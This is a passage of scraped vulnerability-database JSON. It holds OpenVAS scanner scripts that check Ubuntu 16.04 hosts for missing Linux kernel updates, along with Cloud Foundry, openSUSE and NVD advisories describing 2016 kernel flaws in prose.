not\n properly validate USB device descriptors. An attacker with physical access\n could use this to cause a denial of service (system crash). (CVE-2016-3140)\n\n It was discovered that the IPv4 implementation in the Linux kernel did not\n perform the destruction of inet device objects properly. An attacker in a\n guest OS could use this to cause a denial of service.\n\n Description truncated, please see the referenced URL(s) for more information.\");\n script_tag(name:\"affected\", value:\"linux-snapdragon on Ubuntu 16.04 LTS\");\n script_tag(name:\"solution\", value:\"Please Install the Updated Packages.\");\n\n script_xref(name:\"USN\", value:\"2965-4\");\n script_xref(name:\"URL\", value:\"http://www.ubuntu.com/usn/usn-2965-4/\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"Ubuntu Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/ubuntu_linux\", \"ssh/login/packages\", re:\"ssh/login/release=UBUNTU16\\.04 LTS\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nrelease = dpkg_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"UBUNTU16.04 LTS\")\n{\n\n if ((res = isdpkgvuln(pkg:\"linux-image-4.4.0-1013-snapdragon\", ver:\"4.4.0-1013.14\", rls:\"UBUNTU16.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:35:13", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2019-03-13T00:00:00", "published": "2016-05-17T00:00:00", "id": "OPENVAS:1361412562310842762", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310842762", "title": "Ubuntu Update for linux USN-2965-1", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Ubuntu Update for linux USN-2965-1\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.842762\");\n script_version(\"$Revision: 14140 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-13 13:26:09 +0100 (Wed, 13 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2016-05-17 16:25:21 +0200 (Tue, 17 May 2016)\");\n script_cve_id(\"CVE-2016-4557\", \"CVE-2016-2184\", \"CVE-2016-2185\", \"CVE-2016-2186\",\n \"CVE-2016-2188\", \"CVE-2016-3136\", \"CVE-2016-3137\", \"CVE-2016-3138\",\n\t\t\"CVE-2016-3140\", \"CVE-2016-3156\", \"CVE-2016-3157\", \"CVE-2016-3672\",\n\t\t\"CVE-2016-3689\", \"CVE-2016-3951\", \"CVE-2016-3955\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Ubuntu Update for linux USN-2965-1\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'linux'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"insight\", value:\"Jann Horn discovered that the extended\n Berkeley Packet Filter (eBPF) implementation in the Linux kernel did not\n properly reference count file descriptors, leading to a use-after-free.\n A local unprivileged attacker could use this to gain administrative\n privileges. (CVE-2016-4557)\n\n Ralf Spenneberg discovered that the USB sound subsystem in the Linux kernel\n did not properly validate USB device descriptors. An attacker with physical\n access could use this to cause a denial of service (system crash).\n (CVE-2016-2184)\n\n Ralf Spenneberg discovered that the ATI Wonder Remote II USB driver in the\n Linux kernel did not properly validate USB device descriptors. An attacker\n with physical access could use this to cause a denial of service (system\n crash). (CVE-2016-2185)\n\n Ralf Spenneberg discovered that the PowerMate USB driver in the Linux\n kernel did not properly validate USB device descriptors. An attacker with\n physical access could use this to cause a denial of service (system crash).\n (CVE-2016-2186)\n\n Ralf Spenneberg discovered that the I/O-Warrior USB device driver in the\n Linux kernel did not properly validate USB device descriptors. An attacker\n with physical access could use this to cause a denial of service (system\n crash). (CVE-2016-2188)\n\n Sergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered that the\n MCT USB RS232 Converter device driver in the Linux kernel did not properly\n validate USB device descriptors. An attacker with physical access could use\n this to cause a denial of service (system crash). (CVE-2016-3136)\n\n Sergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered that the\n Cypress M8 USB device driver in the Linux kernel did not properly validate\n USB device descriptors. An attacker with physical access could use this to\n cause a denial of service (system crash). (CVE-2016-3137)\n\n Sergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered that the\n USB abstract device control driver for modems and ISDN adapters did not\n validate endpoint descriptors. An attacker with physical access could use\n this to cause a denial of service (system crash). (CVE-2016-3138)\n\n Sergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered that the\n Linux kernel's USB driver for Digi AccelePort serial converters did not\n properly validate USB device descriptors. An attacker with physical access\n could use this to cause a denial of service (system crash). (CVE-2016-3140)\n\n It was discovered that the IPv4 implementation in the Linux kernel did not\n perform the destruction of inet device objects properly. An attacker in a\n guest OS could use this to cause a denial of service (networking outage) ...\n\n Description truncated, please see the referenced URL(s) for more information.\");\n script_tag(name:\"affected\", value:\"linux on Ubuntu 16.04 LTS\");\n script_tag(name:\"solution\", value:\"Please Install the Updated Packages.\");\n\n script_xref(name:\"USN\", value:\"2965-1\");\n script_xref(name:\"URL\", value:\"http://www.ubuntu.com/usn/usn-2965-1/\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"Ubuntu Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/ubuntu_linux\", \"ssh/login/packages\", re:\"ssh/login/release=UBUNTU16\\.04 LTS\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nrelease = dpkg_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"UBUNTU16.04 LTS\")\n{\n\n if ((res = isdpkgvuln(pkg:\"linux-image-4.4.0-22-generic\", ver:\"4.4.0-22.39\", rls:\"UBUNTU16.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isdpkgvuln(pkg:\"linux-image-4.4.0-22-generic-lpae\", ver:\"4.4.0-22.39\", rls:\"UBUNTU16.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isdpkgvuln(pkg:\"linux-image-4.4.0-22-lowlatency\", ver:\"4.4.0-22.39\", rls:\"UBUNTU16.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isdpkgvuln(pkg:\"linux-image-4.4.0-22-powerpc-e500mc\", ver:\"4.4.0-22.39\", rls:\"UBUNTU16.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isdpkgvuln(pkg:\"linux-image-4.4.0-22-powerpc-smp\", ver:\"4.4.0-22.39\", rls:\"UBUNTU16.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isdpkgvuln(pkg:\"linux-image-4.4.0-22-powerpc64-emb\", ver:\"4.4.0-22.39\", rls:\"UBUNTU16.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isdpkgvuln(pkg:\"linux-image-4.4.0-22-powerpc64-smp\", ver:\"4.4.0-22.39\", rls:\"UBUNTU16.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:35:44", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2019-03-13T00:00:00", "published": "2016-05-17T00:00:00", "id": "OPENVAS:1361412562310842755", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310842755", "title": "Ubuntu Update for linux-raspi2 USN-2965-3", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Ubuntu Update for linux-raspi2 USN-2965-3\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.842755\");\n script_version(\"$Revision: 14140 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-13 13:26:09 +0100 (Wed, 13 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2016-05-17 16:24:30 +0200 (Tue, 17 May 2016)\");\n script_cve_id(\"CVE-2016-4557\", \"CVE-2016-2184\", \"CVE-2016-2185\", \"CVE-2016-2186\",\n\t\t\"CVE-2016-2188\", \"CVE-2016-3136\", \"CVE-2016-3137\", \"CVE-2016-3138\",\n\t\t\"CVE-2016-3140\", \"CVE-2016-3156\", \"CVE-2016-3157\", \"CVE-2016-3672\",\n\t\t\"CVE-2016-3689\", \"CVE-2016-3951\", \"CVE-2016-3955\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Ubuntu Update for linux-raspi2 USN-2965-3\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'linux-raspi2'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"insight\", value:\"Jann Horn discovered that the extended\n Berkeley Packet Filter (eBPF) implementation in the Linux kernel did not\n properly reference count file descriptors, leading to a use-after-free. A\n local unprivileged attacker could use this to gain administrative privileges.\n (CVE-2016-4557)\n\n Ralf Spenneberg discovered that the USB sound subsystem in the Linux kernel\n did not properly validate USB device descriptors. An attacker with physical\n access could use this to cause a denial of service (system crash).\n (CVE-2016-2184)\n\n Ralf Spenneberg discovered that the ATI Wonder Remote II USB driver in the\n Linux kernel did not properly validate USB device descriptors. An attacker\n with physical access could use this to cause a denial of service (system\n crash). (CVE-2016-2185)\n\n Ralf Spenneberg discovered that the PowerMate USB driver in the Linux\n kernel did not properly validate USB device descriptors. An attacker with\n physical access could use this to cause a denial of service (system crash).\n (CVE-2016-2186)\n\n Ralf Spenneberg discovered that the I/O-Warrior USB device driver in the\n Linux kernel did not properly validate USB device descriptors. An attacker\n with physical access could use this to cause a denial of service (system\n crash). (CVE-2016-2188)\n\n Sergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered that the\n MCT USB RS232 Converter device driver in the Linux kernel did not properly\n validate USB device descriptors. An attacker with physical access could use\n this to cause a denial of service (system crash). (CVE-2016-3136)\n\n Sergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered that the\n Cypress M8 USB device driver in the Linux kernel did not properly validate\n USB device descriptors. An attacker with physical access could use this to\n cause a denial of service (system crash). (CVE-2016-3137)\n\n Sergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered that the\n USB abstract device control driver for modems and ISDN adapters did not\n validate endpoint descriptors. An attacker with physical access could use\n this to cause a denial of service (system crash). (CVE-2016-3138)\n\n Sergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered that the\n Linux kernel's USB driver for Digi AccelePort serial converters did not\n properly validate USB device descriptors. An attacker with physical access\n could use this to cause a denial of service (system crash). (CVE-2016-3140)\n\n It was discovered that the IPv4 implementation in the Linux kernel did not\n perform the destruction of inet device objects properly. An attacker in a\n guest OS could use this to cause a denial of service (networking ...\n\n Description truncated, please see the referenced URL(s) for more information.\");\n script_tag(name:\"affected\", value:\"linux-raspi2 on Ubuntu 16.04 LTS\");\n script_tag(name:\"solution\", value:\"Please Install the Updated Packages.\");\n\n script_xref(name:\"USN\", value:\"2965-3\");\n script_xref(name:\"URL\", value:\"http://www.ubuntu.com/usn/usn-2965-3/\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"Ubuntu Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/ubuntu_linux\", \"ssh/login/packages\", re:\"ssh/login/release=UBUNTU16\\.04 LTS\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nrelease = dpkg_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"UBUNTU16.04 LTS\")\n{\n\n if ((res = isdpkgvuln(pkg:\"linux-image-4.4.0-1010-raspi2\", ver:\"4.4.0-1010.12\", rls:\"UBUNTU16.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cloudfoundry": [{"lastseen": "2019-05-29T18:33:05", "bulletinFamily": "software", "description": "USN-2970-1 Linux kernel (Vivid HWE) vulnerabilities\n\n# \n\nMedium\n\n# Vendor\n\nCanonical Ubuntu\n\n# Versions Affected\n\n * Canonical Ubuntu 14.04 LTS \n\n# Description\n\nRalf Spenneberg discovered that the Aiptek Tablet USB device driver in the Linux kernel did not properly sanity check the endpoints reported by the device. An attacker with physical access could cause a denial of service (system crash). ([CVE-2015-7515](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2015-7515>))\n\nBen Hawkes discovered that the Linux kernel\u2019s AIO interface allowed single writes greater than 2GB, which could cause an integer overflow when writing to certain filesystems, socket or device types. A local attacker could this to cause a denial of service (system crash) or possibly execute arbitrary code. ([CVE-2015-8830](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2015-8830>))\n\nZach Riggle discovered that the Linux kernel\u2019s list poison feature did not take into account the mmap_min_addr value. A local attacker could use this to bypass the kernel\u2019s poison-pointer protection mechanism while attempting to exploit an existing kernel vulnerability. ([CVE-2016-0821](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-0821>))\n\nRalf Spenneberg discovered that the USB sound subsystem in the Linux kernel did not properly validate USB device descriptors. An attacker with physical access could use this to cause a denial of service (system crash). ([CVE-2016-2184](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-2184>))\n\nRalf Spenneberg discovered that the ATI Wonder Remote II USB driver in the Linux kernel did not properly validate USB device descriptors. An attacker with physical access could use this to cause a denial of service (system crash). ([CVE-2016-2185](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-2185>))\n\nRalf Spenneberg discovered that the PowerMate USB driver in the Linux kernel did not properly validate USB device descriptors. An attacker with physical access could use this to cause a denial of service (system crash). ([CVE-2016-2186](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-2186>))\n\nRalf Spenneberg discovered that the I/O-Warrior USB device driver in the Linux kernel did not properly validate USB device descriptors. An attacker with physical access could use this to cause a denial of service (system crash). ([CVE-2016-2188](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-2188>))\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered that the MCT USB RS232 Converter device driver in the Linux kernel did not properly validate USB device descriptors. An attacker with physical access could use this to cause a denial of service (system crash). ([CVE-2016-3136](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-3136>))\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered that the Cypress M8 USB device driver in the Linux kernel did not properly validate USB device descriptors. An attacker with physical access could use this to cause a denial of service (system crash). ([CVE-2016-3137](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-3137>))\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered that the USB abstract device control driver for modems and ISDN adapters did not validate endpoint descriptors. An attacker with physical access could use this to cause a denial of service (system crash). ([CVE-2016-3138](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-3138>))\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered that the Linux kernel\u2019s USB driver for Digi AccelePort serial converters did not properly validate USB device descriptors. An attacker with physical access could use this to cause a denial of service (system crash). ([CVE-2016-3140](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-3140>))\n\nIt was discovered that the IPv4 implementation in the Linux kernel did not perform the destruction of inet device objects properly. An attacker in a guest OS could use this to cause a denial of service (networking outage) in the host OS. ([CVE-2016-3156](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-3156>))\n\nAndy Lutomirski discovered that the Linux kernel did not properly context-switch IOPL on 64-bit PV Xen guests. An attacker in a guest OS could use this to cause a denial of service (guest OS crash), gain privileges, or obtain sensitive information. ([CVE-2016-3157](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-3157>))\n\nIt was discovered that the Linux kernel\u2019s USB driver for IMS Passenger Control Unit devices did not properly validate the device\u2019s interfaces. An attacker with physical access could use this to cause a denial of service (system crash). ([CVE-2016-3689](<http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-3689>))\n\n# Affected Products and Versions\n\n_Severity is medium unless otherwise noted. \n_\n\n * Cloud Foundry BOSH stemcells 3146.x versions prior to 3146.12 AND other versions prior to 3232.3 are vulnerable \n\n# Mitigation\n\nUsers of affected versions should apply the following mitigation:\n\n * The Cloud Foundry project recommends that Cloud Foundry upgrade BOSH stemcell 3146.x versions to 3146.12 OR other versions to 3232.4 \n\n# Credit\n\nBen Hawkes, Andy Lutomirski, Zach Riggle, Sergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg\n\n# References\n\n * <http://www.ubuntu.com/usn/usn-2970-1/>\n", "modified": "2016-06-03T00:00:00", "published": "2016-06-03T00:00:00", "id": "CFOUNDRY:3F54C95B87B9551DBB314C8164D88E3A", "href": "https://www.cloudfoundry.org/blog/usn-2970-1/", "title": "USN-2970-1 Linux kernel (Vivid HWE) vulnerabilities | Cloud Foundry", "type": "cloudfoundry", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "suse": [{"lastseen": "2016-09-04T11:40:16", "bulletinFamily": "unix", "description": "The openSUSE Leap 42.1 kernel was updated to receive various security and\n bugfixes.\n\n The following security bugs were fixed:\n - CVE-2016-2847: Limit the per-user amount of pages allocated in pipes\n (bsc#970948).\n - CVE-2016-3136: mct_u232: add sanity checking in probe (bnc#970955).\n - CVE-2016-2188: iowarrior: fix oops with malicious USB descriptors\n (bnc#970956).\n - CVE-2016-3138: cdc-acm: more sanity checking (bnc#970911).\n - CVE-2016-3137: cypress_m8: add endpoint sanity check (bnc#970970).\n - CVE-2016-3951: cdc_ncm: do not call usbnet_link_change from cdc_ncm_bind\n (bnc#974418).\n - CVE-2016-3140: digi_acceleport: do sanity checking for the number of\n ports (bnc#970892).\n - CVE-2016-2186: powermate: fix oops with malicious USB descriptors\n (bnc#970958).\n - CVE-2016-2185: usb_driver_claim_interface: add sanity checking\n (bnc#971124).\n - CVE-2016-3689: ims-pcu: sanity check against missing interfaces\n (bnc#971628).\n - CVE-2016-3156: ipv4: Do not do expensive useless work during inetdev\n destroy (bsc#971360).\n\n The following non-security bugs were fixed:\n - ALSA: timer: Call notifier in the same spinlock (bsc#973378).\n - ALSA: timer: Protect the whole snd_timer_close() with open race\n (bsc#973378).\n - ALSA: timer: Sync timer deletion at closing the system timer\n (bsc#973378).\n - ALSA: timer: Use mod_timer() for rearming the system timer (bsc#973378).\n - Backport arm64 patches from SLE12-SP1-ARM\n - Fix kABI additions for pipe: limit the per-user amount of pages\n allocated in pipes.\n - Revert "drm/radeon: call hpd_irq_event on resume" (boo#975868).\n - Update config files. Enable RTC_HCTOSYS, build I2C_XGENE_SLIMPRO as a\n module.\n - backends: guarantee one time reads of shared ring contents (bsc#957988).\n - ext4: fix races between buffered IO and collapse / insert range\n (bsc#972174).\n - ext4: fix races between page faults and hole punching (bsc#972174).\n - ext4: fix races of writeback with punch hole and zero range (bsc#972174).\n - ext4: move unlocked dio protection from ext4_alloc_file_blocks()\n (bsc#972174).\n - net: thunderx: Use napi_schedule_irqoff()\n - netback: do not use last request to determine minimum Tx credit\n (bsc#957988).\n\n", "modified": "2016-05-23T16:08:27", "published": "2016-05-23T16:08:27", "id": "OPENSUSE-SU-2016:1382-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2016-05/msg00060.html", "type": "suse", "title": "Security update for the Linux Kernel (important)", "cvss": {"score": 4.9, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}], "cve": [{"lastseen": "2019-05-29T18:15:36", "bulletinFamily": "NVD", "description": "sound/core/timer.c in the Linux kernel through 4.6 does not initialize certain r1 data structures, which allows local users to obtain sensitive information from kernel stack memory via crafted use of the ALSA timer interface, related to the (1) snd_timer_user_ccallback and (2) snd_timer_user_tinterrupt functions.", "modified": "2019-03-25T18:58:00", "id": "CVE-2016-4578", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-4578", "published": "2016-05-23T10:59:00", "title": "CVE-2016-4578", "type": "cve", "cvss": {"score": 2.1, "vector": "AV:L/AC:L/Au:N/C:P/I:N/A:N"}}]}
